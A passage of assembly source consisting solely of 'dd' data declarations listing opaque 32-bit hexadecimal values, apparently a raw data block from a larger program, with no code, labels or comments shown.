		dd 0DCB54160h, 7892B124h, 0E600F4F4h, 0EFE17B5Fh, 38309171h
		dd 0CD8004D1h, 5E9A5A22h, 6900C47Eh, 9B3431DBh,	1271AB1h
		dd 0C93DE74Fh, 74209782h, 0E100D995h, 812A8357h, 724EB90h
		dd 39043AA0h, 6827C0A2h, 4B008E17h, 76976DC1h, 0B7CDD9h
		dd 1B0F61F1h, 756EF39Ch, 3A4DA503h, 0D810CAA0h,	8EE4FEh
		dd 0CC1CD8ECh, 8453A9F0h, 0FA86F100h, 6B90F814h, 0CBD100A5h
		dd 40280B8Ah, 0FE09678h, 5707F177h, 9A393046h, 531A6250h
		dd 7B907Fh, 594A2974h, 0A46A165Ch, 43D2CA07h, 34C00AF5h
		dd 0F6B4DA0Fh, 78FB1295h, 0D0DF0040h, 362A0989h, 601C0EEh
		dd 0F26CC511h, 6DDC1E1Dh, 56A403E6h, 0EE68BE03h, 7CC9EFA8h
		dd 3B3C0800h, 0B22A9DF4h, 497E015Bh, 0A0968D5h,	8A3080A5h
		dd 306C0D6Dh, 699128CDh, 2013B24h, 5F485700h, 1A0CA56Eh
		dd 0A6DBF100h, 7CFB538Eh, 0FC700EFEh, 0EA09FA4h, 492B4390h
		dd 0F23FA278h, 6A3E005Ch, 9ACE7EF6h, 6B910086h,	5E11FF5Bh
		dd 17035161h, 9E554B78h, 192900C2h, 417F58F7h, 0E4144F48h
		dd 24E459F8h, 130FE043h, 0FEEF6074h, 862453h, 0EEEE978h
		dd 4B29011Ah, 51007B77h, 0B40B0881h, 0E81B918Eh, 0B04800D0h
		dd 77D8A0C4h, 0A400ED58h, 903BEA35h, 1DE0D36Eh,	828B284Bh
		dd 6C0C5D18h, 0B6C4D080h, 9207E785h, 54B09A96h,	6708D940h
		dd 0B1A10046h, 128AB5BDh, 3F0082E0h, 887B0740h,	42506Ah
		dd 3B4990CBh, 0A7C1DD20h, 0E155D907h, 3DBED48h,	98DE8536h
		dd 1553365Bh, 0B8FA18B8h, 5DDCDA09h, 74CA5D80h,	8F006C9Eh
		dd 0D89279BCh, 0C47B0CCh, 0D9E8C8ACh, 76000308h, 0DF998326h
		dd 735C9350h, 0B861013Eh, 0D30CA7CCh, 0E9E5C8B3h, 0B7D87505h
		dd 0D012E8ECh, 16F58202h, 0A60BC086h, 791F02D0h, 0A43F09A9h
		dd 0DB409A42h, 2C0065F0h, 0FB69686h, 1BB8068h, 3332059Fh
		dd 41464E87h, 106A90D0h, 0AC56B3h, 3503421Dh, 120EAEB6h
		dd 0CE629A00h, 45C1420h, 43E703EFh, 7FFB329h, 0E3C16580h
		dd 67037977h, 91A14550h, 0BBAFE962h, 14568170h,	0F82AB69Dh
		dd 6963B982h, 1EC01442h, 72496B14h, 26841114h, 0AC577F01h
		dd 20371B38h, 0AE540C3Ch, 7400EFC8h, 0DB13518Fh, 28BD54A8h
		dd 77BCBC96h, 9936004Eh, 3C70EDD7h, 9201ECCEh, 0CCB14038h
		dd 0D053EE74h, 81E9C876h, 2D8D01D2h, 0A0D64380h, 70C60B5h
		dd 4851CC00h, 5649BD20h, 719801A9h, 233401BEh, 0FB4080D9h
		dd 544A9BABh, 7F41826h,	0EC17989Fh, 356EC700h, 0A0FA035Ch
		dd 378F0081h, 679FB156h, 0C8007C52h, 0C262C79Dh, 5E3C7Ah
		dd 0BF979B0h, 691E1BBEh, 0C6311001h, 0DD6B9553h, 0E6F1ECh
		dd 476D8E39h, 55B740F4h, 8300E273h, 0F7C5041Bh,	51CFC2h
		dd 8792693Dh, 0C079F77h, 0C9C4C81Ch, 0F90B8Bh, 44D6FD4h
		dd 0C6FD0046h, 0DE93BEEAh, 670047C8h, 602DABC7h, 265279Bh
		dd 0EA4F7A8Ch, 0C4A48E62h, 47340071h, 146422Bh,	0B2327ABCh
		dd 80E538C8h, 3A3B64E0h, 903B8ADh, 40F6C41Bh, 708C8087h
		dd 8251F7EDh, 0A800D7F5h, 4614A0D4h, 1AF2543h, 77096E41h
		dd 0E06C60E7h, 2B62F87Ch, 403E8E78h, 3BC2CD8h, 9FD2B6DBh
		dd 5858A2A4h, 406029Ah,	68826C70h, 2FBE5A38h, 0B5F8AD4Dh
		dd 35968901h, 6F16387Ah, 69B02080h, 7C530F4Ah, 5BFE6514h
		dd 3358E4h, 599D6019h, 7302C6h,	0D0EC588Dh, 0D64F71AEh
		dd 163B6100h, 8749B908h, 5C7001Dh, 0FEF51864h, 4060023Ah
		dd 179145B0h, 0A2060D2h, 0BD77BCB3h, 0BFBB640Eh, 5C2406Ah
		dd 0FACCE2F7h, 0E18E049Dh, 80AB9108h, 15ED4494h, 88D15C00h
		dd 0AE795381h, 134D0276h, 6F273F3Eh, 0C54817E0h, 5D027100h
		dd 5382DDF7h, 573000F4h, 319EDA9h, 4B0040DEh, 8F327247h
		dd 0DA41A7h, 0CFECF778h, 153C8082h, 2FC4F000h, 3A571248h
		dd 7F690001h, 72DA9E62h, 37E04DB4h, 8D251A00h, 2F1910D9h
		dd 1ED7133h, 0CCF9BF5Ch, 0E45E0993h, 24986DFDh,	0D935A200h
		dd 0FA98CBD2h, 0DA4D1FC4h, 4000F9C0h, 0FE692FB9h, 8C00D2ABh
		dd 0DD35D983h, 535027h,	67E00873h, 19253EDBh, 117241FAh
		dd 0B72A2B00h, 0E7FD1337h, 0D0F15879h, 0BB215100h, 40EC5B22h
		dd 0A3DD3B00h, 2EC5F06Ch, 4C9D1858h, 770428F6h,	7C0F72F4h
		dd 72512643h, 54AD1402h, 3AA54079h, 9550185Fh, 9EAC3124h
		dd 72BBBD00h, 0AE1BCF2Ah, 790E007Ah, 0D2B073BAh, 0E300AD9Bh
		dd 3CB5E801h, 8A9E97h, 91E5B162h, 0CB3ABF0Eh, 44456300h
		dd 3669FAAEh, 5F5D0157h, 1CEC8B4Ah, 0A40A6093h,	66852D03h
		dd 98AE2642h, 0B7DA69h
		dd 0B3EA0BBAh, 1B1A06C2h, 0A4D07D1Ch, 7D9EC0Bh,	10F09EC6h
		dd 2C5C641Fh, 80C8EB14h, 0E75DFC37h, 0F8B20121h, 0C1000098h
		dd 2F4CFE77h, 0E573F2h,	0DE4622BAh, 4AE29F7Eh, 0ADDB8100h
		dd 6A341609h, 7DAF1FF5h, 4C6DC0F3h, 95FD26D1h, 3D41C48h
		dd 77CBD55Ah, 0DE703AECh, 2F5AC1Dh, 2F2A0F32h, 8AA60868h
		dd 1408B59h, 0A48FAC0Dh, 98D067F7h, 18686F20h, 0B680D70Fh
		dd 0A23558BFh, 0DE657A00h, 16F0E73Eh, 7ED82EACh, 8FE88108h
		dd 0D07C11DCh, 58B7E5FCh, 5481C01Bh, 7F42E8ACh,	0B26BD51Dh
		dd 989FC400h, 0FAE97179h, 48CA8FCh, 0DC7C0751h,	7F7ACE4h
		dd 0DEFE40F5h, 3F540F27h, 8C42C75Ch, 5700B420h,	90898802h
		dd 6BBFFAh, 0C7ADD3CFh,	4DBC4161h, 484C5130h, 1CE4A48h
		dd 0EA6E8EFEh, 0FC926FFBh, 0DF009526h, 85C94E1Ch, 0B5F5E8h
		dd 0E7555053h, 774CB6BBh, 33171400h, 6AFDE193h,	5EED2DE8h
		dd 0CE001B58h, 0E57CCDAFh, 135FCC4h, 0EA38EE1h,	0D0A7EA13h
		dd 0CB000346h, 817977DDh, 0D6B2F56h, 19959901h,	1C8ACF0h
		dd 5DADE600h, 24B30h, 77124DFEh, 0CC8B50E1h, 6BB93E00h
		dd 2A28BB2Dh, 0BF150001h, 0C53F6E8Ah, 6200CF9Ch, 802183EAh
		dd 94041Fh, 0EF843197h,	7EF71640h, 0D9FA200h, 447B4236h
		dd 0C0C21F2Fh, 0AF8B00A5h, 0A4031023h, 0BA00B5E8h, 453DD161h
		dd 1C274D8h, 94715463h,	3098FE2Eh, 0D4267FECh, 4400CC01h
		dd 0E0271FB2h, 0C5E607DAh, 20A1C9B6h, 969807C8h, 9484A813h
		dd 0FEDBE800h, 4C298C49h, 6F00C02Bh, 0AD750FF4h, 0D8004338h
		dd 0E660570Dh, 17B1815Ah, 402B6595h, 0D3CC5C74h, 0BD3E1174h
		dd 2C669C67h, 2BFCAEC0h, 719B6D24h, 92DB0772h, 0B05A716Fh
		dd 7F08DE4Eh, 0F9377500h, 1AAC177Ah, 0E1F712C7h, 0EA3440B5h
		dd 812152FEh, 6A89B917h, 8318602Ah, 12F93840h, 0FC525904h
		dd 2E40D9D0h, 9378C5BAh, 2246D0F3h, 53DC3F00h, 63327C1h
		dd 407506D6h, 0E1A79E2Ah, 90B0C002h, 8159C318h,	0BA37F4CFh
		dd 1DE82E0h, 0B06378FEh, 0E53C846Ah, 384DE093h,	365FDB00h
		dd 0EE99853Fh, 0E97E0DF1h, 3046DE7Fh, 0B7092FA0h, 8023BF9Dh
		dd 5EDC4F1Ah, 54A94CACh, 0B8FF2518h, 0A71E21B5h, 60408893h
		dd 1D8AE9D1h, 708100B7h, 0A56EC0B9h, 0DCB21552h, 3174C9E2h
		dd 65E4000h, 0B85DD420h, 98D0BA9Fh, 0DB5F3B26h,	0C4D0E780h
		dd 0C1A9F24Fh, 0DEEA6F00h, 84E6E421h, 7040281h,	0A09ACCE7h
		dd 86A87CC0h, 6F830201h, 925B7A1h, 9494BC64h, 0FEF40080h
		dd 982C77FAh, 6D1BD507h, 13E089DEh, 16EAA7BFh, 4E827C5Dh
		dd 2F40B860h, 6970531Ch, 751B3524h, 809BDD02h, 8019420Ah
		dd 0AC6758BBh, 0AD22006Dh, 0DEC6702Eh, 4C032BBAh, 0DCB89EC5h
		dd 858EC835h, 3E4FC82h,	0A169320Bh, 0C2984990h,	864C5C42h
		dd 6BE000BBh, 4A67950Fh, 61ACFCA2h, 24172904h, 3BED20E3h
		dd 75B1D8C2h, 0DBCF0143h, 0DE9B2025h, 9D858D00h, 0E85FB905h
		dd 82DA03A3h, 90217D36h, 71B432D8h, 19C1F103h, 0E8E1BFEDh
		dd 46DFC6h, 0B1CDE68Dh,	74B7EF05h, 9FD538h, 0CF45507Ch
		dd 0CBAD6Dh, 255F3EF8h,	30415D5Ah, 5ECE500h, 1BBE12B5h
		dd 2ABD00D2h, 0E19C1457h, 1700D739h, 1C387751h,	2F4F542h
		dd 0DB7E1A40h, 7440318Dh, 6602286Eh, 0BB57DF11h, 1654E041h
		dd 23D9180Fh, 9D9CBE8Ch, 622BB504h, 8A421C1h, 0ECA924C0h
		dd 7E70002Ch, 0E72A2D61h, 237C1800h, 6F75E907h,	2C50B42h
		dd 0EC807A7Fh, 0DE9AB086h, 96C1B201h, 4F314555h, 0C050AA65h
		dd 3E84D9A4h, 4B737Fh, 0C613CC1Ch, 5EB8E5F9h, 43EAF8CFh
		dd 0AB8F364Eh, 0D829C351h, 1D37445h, 59B830DAh,	0E853616Fh
		dd 9C00A572h, 0ED826463h, 0E9E3CF6h, 0CD85B4C3h, 0AAD040E2h
		dd 1BB9EAC0h, 7C8AF909h, 0C9148E2Ch, 0AB2CE01Ch, 3E2001CBh
		dd 7C7922B8h, 0F303FC99h, 0DCE44800h, 0CE440806h, 82F800A5h
		dd 210698Ah, 380BDB31h,	0A1D5C9h, 8B999E16h, 0ADAE09E1h
		dd 4CA050F8h, 0A6B67B24h, 0D40D0600h, 0BA8B010h, 74A4A147h
		dd 0FD27A429h, 153A6820h, 0E3601030h, 57489D11h, 0C02748F4h
		dd 0DFB36B00h, 0C9CA3F2Ch, 695BAE01h, 0A57D3780h, 0B8D84921h
		dd 0E8D6482Ah, 7664AA19h, 9DC82401h, 43508494h,	2A473ECh
		dd 0AC6E9B2Ch, 6CE0274Ch, 0E1CA941h, 21C02FBEh,	0EBA0C488h
		dd 0E95800B9h, 7ED77DB0h, 0A7505945h, 3F77A9B0h, 41325E00h
		dd 74529A21h, 72D4F8F7h, 0F16D304Fh, 9CB7D111h,	9BF8E7FAh
		dd 63F43Dh, 83C06703h, 1790AAEh, 905704Eh, 0FC7EDD62h
		dd 1A003FEAh, 0EB50CDFEh, 3FE8E722h, 3CDC3B6Ah,	555BC500h
		dd 0D2842EA5h, 0CE300900h, 0D4EBF89Bh, 71FF0743h, 72A44F6Eh
		dd 0C07F9C6Bh, 0EA7D96Dh, 0E7308977h, 5584BA7h,	0D0B8C067h
		dd 4C9092ABh, 1DBB9C00h, 2570E2E5h, 77107527h, 0DB75EFh
		dd 0D106CD41h, 64903D6Bh, 1E1345Ch, 20179AB2h, 0BFC493A5h
		dd 0CB8A00FEh, 0F2062754h, 0FC005D76h, 0C1EBE881h, 1C3C31h
		dd 613628E1h, 43179E02h, 0BB26C51Dh, 560C180h, 799D77h
		dd 2E8951B0h, 3D01DD0Ah, 0FCA15500h, 0E2806E9Ah, 0BD489A77h
		dd 0B936B360h, 23A5E112h, 0A7B1388Bh, 0AC4410B6h, 2E04B0D0h
		dd 64DC290Fh, 3643219h,	98A0B7F7h, 18DEC258h, 4310AF18h
		dd 935D18C6h, 4C0720F9h, 7F9F7C0Eh, 3CA6655Ch, 5BC02403h
		dd 26610063h, 44F0E891h, 0A21FC87Fh, 9FC6FBD3h,	9A4001C1h
		dd 3F42006Ch, 0EFFEE9DDh, 0E7B57FCh, 9670897Ch,	0A2A6C918h
		dd 0F3C9178h, 0F06E2624h, 6D4E4A00h, 440EB198h,	0C357801Bh
		dd 90F7953Ch, 28832F1Dh, 0EB3238h, 55585AAEh, 0AC163B04h
		dd 720D3007h, 9FA014E6h, 40EC09h, 20E49E8Fh, 4599AB1Fh
		dd 3E004A77h, 470FC0A4h, 11B3EEh, 55AAB765h, 83765125h
		dd 3961B403h, 0D87C5954h, 259C6F53h, 0E004A9FEh, 89288557h
		dd 53A86054h, 76BBB400h, 23188278h, 0F8A200A0h,	49C5842h
		dd 0BF01F22Bh, 0CA0B90EEh, 0EBE5F74Dh, 0B5148ECh, 97505502h
		dd 37310B80h, 820BC357h, 0A0244235h, 30F06A80h,	99D077Eh
		dd 0A0348AAEh, 0AC4B787Dh, 0BDF1F700h, 0B3E5C2ABh, 96F294h
		dd 0C9335A8Ah, 0EE562068h, 7528CF12h, 4CC07E1Ch, 0D909BC25h
		dd 2E9F248h, 7098E2AEh,	0DF80F799h, 0F342362Bh,	0CF502707h
		dd 79D74552h, 0B7A4B340h, 138300C8h, 0F5AFBA57h, 0FCB87793h
		dd 8355300h, 84FF3985h,	0D0C33D19h, 0D8EE17h, 0CC07BE9Ch
		dd 1A01E044h, 49B90161h, 7BD8BAA9h, 0C02D6073h,	0B5EA92D5h
		dd 2057CD00h, 0D201E302h, 0E7B6016Ah, 0C7B379ECh, 0DCAAA4F7h
		dd 52FD8580h, 9CE87C21h, 126B092Ch, 72481040h, 42D035E1h
		dd 386334E1h, 57F32AD0h, 0BCD1F20Ch, 56421ABh, 7E655033h
		dd 7C24C171h, 0CA9C1078h, 16F47530h, 0CCAD8BBBh, 0D626B6B8h
		dd 1206B54Ah, 0D8D8E3BCh, 339AD950h, 43EE38h, 0CD4F7693h
		dd 3E34226Fh, 9C1ED8AEh, 0DB444014h, 0C96AC44Ah, 80275200h
		dd 0FE26403Fh, 19391811h, 0AABE515Eh, 0BD86D214h, 321600B4h
		dd 11849DDFh, 82550422h, 0AAA6DD78h, 8045E60Ah,	206F129Eh
		dd 0E9C12C2Ch, 917F00A8h, 2AA738D9h, 8060F2C8h,	8182E161h
		dd 0DC471664h, 9A68C0B2h, 1B2C8EEAh, 40154D3h, 2A44ACF3h
		dd 9CDBF912h, 46DEC400h, 0A9606Bh, 8136D2CCh, 0A16F1B6Eh
		dd 9D27BF00h, 8CFD1FC1h, 0C9A50167h, 0DEA3BECBh, 3C042068h
		dd 5B254300h, 0C44CF6E9h
		dd 0F6600D0h, 89AF0227h, 421E643Dh, 6700BA4Fh, 0F5752AB2h
		dd 0BCDEF03Eh, 0F81186ECh, 5F04B814h, 0C8F733B5h, 0F3E87500h
		dd 3C12DBC6h, 1C4309A5h, 0A078FE36h, 13147786h,	0C11A38D8h
		dd 32D4BA08h, 50439B0h,	0FA96A7B9h, 0AE840C6h, 521D351Fh
		dd 0C5AA839Ch, 8CB8E76Ah, 4607C00Eh, 591F3AB9h,	6E7FC7A0h
		dd 746C0224h, 0C9D2A25Bh, 0E27CE07Dh, 68FC00DDh, 2F0CFF25h
		dd 7600F5CBh, 5D7BFE99h, 5D09F6Fh, 38B5F69h, 53900005h
		dd 3EF89847h, 0A66C3000h, 0DEE91037h, 0DA5D00FBh, 39C34E8Eh
		dd 0CB09468Ch, 25E575Ah, 23872C94h, 80A7A253h, 4DFD4174h
		dd 911CC8C7h, 39280099h, 0E936EEh, 8FB1684Ch, 0A26D8A4Fh
		dd 3E6B0200h, 53236693h, 7AF00006h, 172E0926h, 0FE00AC30h
		dd 0D4A06D3Ah, 1CBE2870h, 80248B66h, 8C471BB7h,	0FA0E6937h
		dd 0A0EF4FB5h, 29315AA5h, 26090012h, 0DDD6CE57h, 0B400C38Dh
		dd 6A6F89D0h, 2C9040E2h, 0C8FF5Ch, 54DC7D82h, 891EB3EDh
		dd 0E03C95Dh, 0BFA35C12h, 6D32ECF0h, 5ACF0073h,	0B1C7B6BCh
		dd 9C014386h, 0F16C2564h, 28CCA251h, 8BCE37F6h,	9FD07061h
		dd 8900B56Eh, 85CC38EFh, 0C752AE90h, 530D0B21h,	0B000A4EDh
		dd 195D6975h, 548736Ch,	7785EABBh, 7AAC0586h, 0BA44C8DEh
		dd 0AC1D8894h, 27E09340h, 17E69F28h, 3C180FDh, 224741C0h
		dd 44820C88h, 31263801h, 78C6EE92h, 769FB02Fh, 36A63000h
		dd 0C9E5D847h, 0F5498EDh, 878FF595h, 0B94CCDA2h, 91114C68h
		dd 0DBDFF602h, 80B23F51h, 20CBD7E4h, 11FA6797h,	4A4910C8h
		dd 0E21832B5h, 10192E0Ah, 70862D3Fh, 80C0EC85h,	8E62A567h
		dd 0AD673100h, 1DD89724h, 3D5D1804h, 730329C1h,	85DFB038h
		dd 1085256h, 51B7EC91h,	0FAC1B731h, 7388A0FEh, 5FAFA3h
		dd 0FF47A7F0h, 0E9B0853Ch, 0AE64EC0Fh, 5AC6E03Ah, 5CE40CF9h
		dd 0C00A8474h, 94B588h,	0E2855DCEh, 2D00BB0Bh, 20BEB068h
		dd 6D6E7Bh, 2FFAC7D1h, 0B20EE671h, 53823100h, 9802DFEBh
		dd 5FC6038Dh, 7BE0F197h, 807D7798h, 0A7946A0Eh,	4465E0D2h
		dd 0EE15F388h, 49E7005Fh, 0D750DC18h, 4101A81Eh, 0D5964A6Dh
		dd 0EBFD21B4h, 0C055A99Eh, 0DACA5630h, 0AF0B6642h, 80BB7C69h
		dd 0FF12AD4Eh, 0DB7000E3h, 66CC485Bh, 0B30304D6h, 961BB57Ah
		dd 0F03A986Ch, 14520025h, 3EB96422h, 3304AB85h,	0EF0FB4A1h
		dd 297FD8D0h, 69C414F8h, 0E401940Ah, 9267FFA4h,	53A9E04Bh
		dd 8512DB03h, 0F1D30B2h, 0B3E21AA9h, 36376E40h,	3F4A2914h
		dd 0C54B3880h, 0E37E6Ch, 45B3CF03h, 52947CD8h, 0D07E4CB0h
		dd 9F00427Bh, 0D538F8E1h, 0CECB69h, 0BBC08E2Ch,	0F333EBA5h
		dd 0C5004A74h, 10A91E71h, 363F23h, 857C9717h, 0D2EE0D9h
		dd 0B5C3E801h, 86341CC0h, 3018160h, 16042C58h, 1FE09422h
		dd 2E07BA9Eh, 0C0B478F5h, 80D336h, 25DCCEAAh, 0B2C3F84Fh
		dd 5C556E04h, 5CC8B3C2h, 0BCFC000Ch, 7C8C35C9h,	0DB011282h
		dd 0D756E155h, 982075D1h, 67430062h, 834D7E3Fh,	21FE50Ch
		dd 6840CA84h, 0F8475ACCh, 1D24020Bh, 5EF7B474h,	0BF8964D9h
		dd 3E944858h, 0EAE7003Ch, 0CBE4DD77h, 18C1F316h, 0D3ACFCDEh
		dd 498B20D0h, 84287C7Fh, 20DC641Ch, 0EEC0A4F7h,	1AF23200h
		dd 0D4CAC952h, 9F4F1692h, 0F3ACC72Bh, 0E688FCEFh, 1104DD57h
		dd 54062F3Ch, 7CE894A4h, 24F70367h, 0F4780BDEh,	0A2AC42A8h
		dd 8C3CA812h, 8CE8A483h, 1E009411h, 812EB889h, 53248FA8h
		dd 0E700C105h, 0B943CCDCh, 0A761D1Eh, 71ECC1F3h, 0F34B8459h
		dd 74C7EF90h, 72937A00h, 0D433A1A8h, 0E1C61C58h, 0FC734015h
		dd 9E2ADC1Dh, 697E810Fh, 34009C0Ch, 869D0EB5h, 0CD742Eh
		dd 0D5EB26B3h, 23E1958Dh, 7DA3CF00h, 94B6A862h,	60A40071h
		dd 669877B5h, 6F00D549h, 2682A93Dh, 152B61h, 55831D78h
		dd 8C7DD773h, 7E298F00h, 0EC4098EFh, 75C900BBh,	8928E69Ch
		dd 8E0047C7h, 5CE53819h, 589170CDh, 201E916Eh, 3E8480B7h
		dd 0BA0E8D8Fh, 801F9E15h, 49029F4h, 79EBF6C0h, 674800DBh
		dd 0D2EE8E84h, 6E008C1Dh, 719B8159h, 0FAC7C5A8h, 90931D28h
		dd 0C1B04CEFh, 24F3C838h, 0E43FF708h, 659100F2h, 55455A02h
		dd 185FE2Ah, 11A8B04Fh,	81E46E3Dh, 0BD0D2B20h, 204F98D3h
		dd 805E1611h, 189843DAh, 83B9DE91h, 0F7AFE8C6h,	0FFC8F88h
		dd 0A808BC66h, 0FED10021h, 0E4529BE8h, 5730248Dh, 491F164h
		dd 8CC100E6h, 0C611CEC0h, 5D60C44Bh, 0CF488D0h,	88C360A2h
		dd 67620679h, 87043601h, 247D5440h, 750A0028h, 0B0A42AF1h
		dd 3D456A28h, 98DDE801h, 87C37FCFh, 29C07181h, 20419423h
		dd 932E8528h, 0E440C4AFh, 0A03EE13Bh, 7C64F6BCh, 3CC1B9Fh
		dd 0E3F321FDh, 0D479B2F8h, 0FF9421FDh, 21EE0837h, 3A3EFBD0h
		dd 39D7138h, 3A22DFDh, 4BE1817Dh, 6FA1A628h, 0DEDD5100h
		dd 317FAC14h, 8D08BCA6h, 6A208380h, 0A00851A2h,	0CCC33Dh
		dd 4E1044E1h, 0D61997A5h, 58B12B12h, 0D263FC20h, 0F0E80AC7h
		dd 37A3DD6Fh, 8321EC09h, 50C79B00h, 0EF312A7Ch,	0B36E00EAh
		dd 4EF1460Fh, 660EA85Bh, 2F5C1B1h, 40ADD362h, 1C5EA2Ch
		dd 2A8865E1h, 20A961AAh, 0F70A5040h, 0C8F4F63Ch, 7D8D8300h
		dd 0CC49BAh, 9B708935h,	0A38F7C0Fh, 59031F14h, 8CC3E8A0h
		dd 3821783Bh, 0FA9403CAh, 6E1D60Ch, 0DF232470h,	8400A09Fh
		dd 4A8AA0Dh, 31E8596Ah,	55F169F8h, 713FDC5Bh, 0A521D218h
		dd 0B7EB8h, 8E878A7Dh, 8DAEF2E8h, 85D318CFh, 0F8007009h
		dd 0CF6DDEFEh, 5860C96Ah, 7D978090h, 92F8690Eh,	0E8A978AFh
		dd 0F138A0FAh, 0F9B61CFFh, 0E4BD1499h, 13B2CB1Eh, 0EF4D0026h
		dd 50232BE6h, 0C5CCF154h, 0E73EE0E0h, 0E4832BD1h, 0E6C7C003h
		dd 8F62CCF0h, 0C7C9A520h, 29226BAh, 0DEF84018h,	0D8CA8F18h
		dd 7E6088E4h, 0C162693Bh, 201B42D8h, 14208096h,	0A15965CAh
		dd 0E10200EEh, 0C6D221C2h, 0D1360B79h, 46983058h, 0C7B707B4h
		dd 0DC44F0E9h, 0AE80B837h, 7C03C798h, 0E74500CBh, 58D5BA52h
		dd 9E028BD6h, 99DA4385h, 42B88081h, 0E69B80B7h,	0E6E5244Dh
		dd 0B020AF24h, 6B4F131Ch, 1C926C9Ah, 69C0577Dh,	14047F49h
		dd 560A0321h, 969C8E80h, 0A1417CE8h, 0DAE6E404h, 40173C5h
		dd 0BA313D43h, 3014CCD0h, 0AD4A51C9h, 0AB9C0C96h, 0D7795C48h
		dd 588B8C00h, 0E7237282h, 0A4D930AAh, 0F6AC3B48h, 0ECA0440Dh
		dd 0C030891Eh, 76AF3065h, 0BAE4F9A8h, 0A0C8D96Ah, 19B7EF0Ch
		dd 0A8E11C23h, 7CF818Dh, 41592D43h, 0C67C7248h,	0CCA40409h
		dd 9460A262h, 0A49B17F7h, 0CD00A411h, 0B88E8FAh, 3F09FFB3h
		dd 0B531549h, 0FF0C5F94h, 0F5540388h, 0C8F05BA0h, 6E4C6800h
		dd 8EC1CD36h, 39E10022h, 0AF250C9Eh, 633E54Eh, 0D9C938ECh
		dd 0D826FE90h, 0B03EE902h, 0EF31E479h, 2EC14410h, 41387600h
		dd 40D4E788h, 10D801C8h, 19CB2D9Fh, 0DA5C4081h,	30082C7h
		dd 0D29250F8h, 1C44F497h, 4362C196h, 3807EF3Eh,	0DE2DF3BFh
		dd 2CE0E8BAh, 0FF0083B4h, 0EDC5BFF9h, 9BC1C72Bh, 9CDE0004h
		dd 3ED4BDE1h, 0B6A6201h, 8E9297F8h, 80D614CBh, 2480DC0Dh
		dd 2FE8C036h, 0C9BCDD50h, 9AF4F58Ch, 22EF46F7h,	0F5CE00A3h
		dd 0A81795E8h, 9603EE89h, 0F9922E49h, 0C77280A3h, 441C9AB3h
		dd 19008C71h, 4C605CE7h, 2A7B32F3h, 9CF1FEh, 3D9888D3h
		dd 79D8A64Fh, 0CA0032E8h, 0DAFF84B2h, 14F3A1CDh, 0CCFCAE0Ch
		dd 0BF23204Ch, 0C151A901h
		dd 0E0EB4DEh, 7D51B666h, 0E6EDC000h, 1897371Fh,	50DE7234h
		dd 5858B0D6h, 0E9DB80C0h, 0FDD7ECh, 7F032476h, 48A74609h
		dd 0F8715F63h, 73E0A063h, 0A5620041h, 85CA6699h, 0DE149CC1h
		dd 0FC4A3Bh, 0F971CD2Ch, 0C0EF1E34h, 3ED8FDB9h,	0D20158CEh
		dd 1FCF79A3h, 0F022FE6Dh, 0BB036801h, 50F28A71h, 0C3B151F8h
		dd 8C574618h, 3CEAA1h, 0F167D8F7h, 0C994497Ch, 39AC951Bh
		dd 0A5A9B0BCh, 4352091Eh, 34A145BAh, 459AF9B3h,	23B03AF8h
		dd 0A45B07A3h, 0C2D010E7h, 210A77FEh, 30D2E6DCh, 9CDB7E04h
		dd 0A480BCD7h, 0C4765844h, 0FA5149B1h, 71D65AC0h, 186BE8CFh
		dd 2192F5E8h, 0ACA45E4Bh, 14FA3E00h, 58285456h,	0EA9B0378h
		dd 8F8E1CE8h, 0C89F9024h, 4B171FDCh, 0BF78407Dh, 41D288BDh
		dd 0D059A8C0h, 908B9FCDh, 0CBA30314h, 5C0334D6h, 0C6190AF0h
		dd 45A15498h, 109C32FEh, 0F91C696Ah, 0C960E98h,	0DE846FFh
		dd 0C300D140h, 6B4DEBF1h, 48D79F31h, 0FE2358DFh, 0A2519A01h
		dd 0E0CDEh, 69518299h, 10874C3h, 0F7B55934h, 92DA0Ch, 658CB91Ch
		dd 8E903AA0h, 0C0B88850h, 46B1CCD6h, 54132DFAh,	0F4004238h
		dd 5971EB22h, 0A35A0106h, 48C297A2h, 9999E87h, 0E0DE0CCEh
		dd 0DBBBF320h, 4F30E357h, 88745053h, 0C54A0972h, 3404935Dh
		dd 0E8F4609Ah, 0C7F723A5h, 0CB01A711h, 0E7BAE8CCh, 5307D031h
		dd 0B2DD6139h, 30A2E078h, 0E311C7B1h, 0B488A7F0h, 0C79ABC80h
		dd 0FC333Eh, 0A205E3C6h, 0A8F1A906h, 9298D304h,	0CCB5EADDh
		dd 7103007Dh, 6F4711DAh, 0EDD378E8h, 4B5C2A07h,	4E9F2F1h
		dd 0EA60F93Ch, 7923CD3Eh, 0BED11FCh, 812EC247h,	81B53BECh
		dd 7BA38C20h, 7FE7265Eh, 62751D8Ch, 1038435Dh, 2A005CC9h
		dd 0D0EEFC9Ch, 7525817Ch, 0EDE420C3h, 484ECF3Fh, 0C830B868h
		dd 0D6AAF631h, 45E8DCA8h, 7F2E7A00h, 7E9567CDh,	54C60D60h
		dd 20E98E10h, 0F441A248h, 1F16D802h, 5800C6B9h,	0B72DE6F0h
		dd 68A0E975h, 0FCF0A1C4h, 54402195h, 3982926Bh,	0F703DDFDh
		dd 0F1F994A0h, 0AE0084CFh, 28C9690Ch, 0A48A23h,	0A62C10E9h
		dd 2A34F750h, 0C102C8B2h, 36BCD79h, 365620F6h, 1A074FB6h
		dd 1D4ECAFBh, 820CBFA0h, 0C0D20CD6h, 9079F3EBh,	1D3C100h
		dd 6C1F3436h, 20C09F1h,	480782Ah, 864A128Eh, 761D227Bh
		dd 0BDC083D6h, 0C15BB10Ah, 0DEB259Bh, 0C0C58024h, 7D39483Bh
		dd 80ECD0D5h, 0DEA3519Bh, 5A608C04h, 51839C21h,	7E847E7Dh
		dd 0C8D48DBh, 9BA4209h,	46B368C0h, 997BCB01h, 1C12D832h
		dd 9A02202Ch, 1E5A6E7Dh, 0C28EA05Eh, 0FDA680ACh, 3FCBA9D1h
		dd 6D3A1DCDh, 19D4400h,	14B6F072h, 4427A2Ch, 4B6A846Fh
		dd 0F8309622h, 0F7A913E8h, 588BA7h, 0E3E8D0CFh,	11D1BE0Eh
		dd 9404835h, 6059BAF6h,	1F50FC88h, 26BCAF93h, 60FA44D8h
		dd 10C43EE5h, 0DE9C0479h, 0FD5001E2h, 991F6A3Eh, 1832D8EFh
		dd 0EBBE2105h, 74C095DDh, 2F634Fh, 0F2614693h, 0DA42E21Fh
		dd 44BDE52Ch, 410D2389h, 0C1F0B0F4h, 7C18CC9Ah,	3604EC98h
		dd 0F24A3D11h, 602F4E0h, 49D2EE77h, 813928B1h, 0B79B129Ch
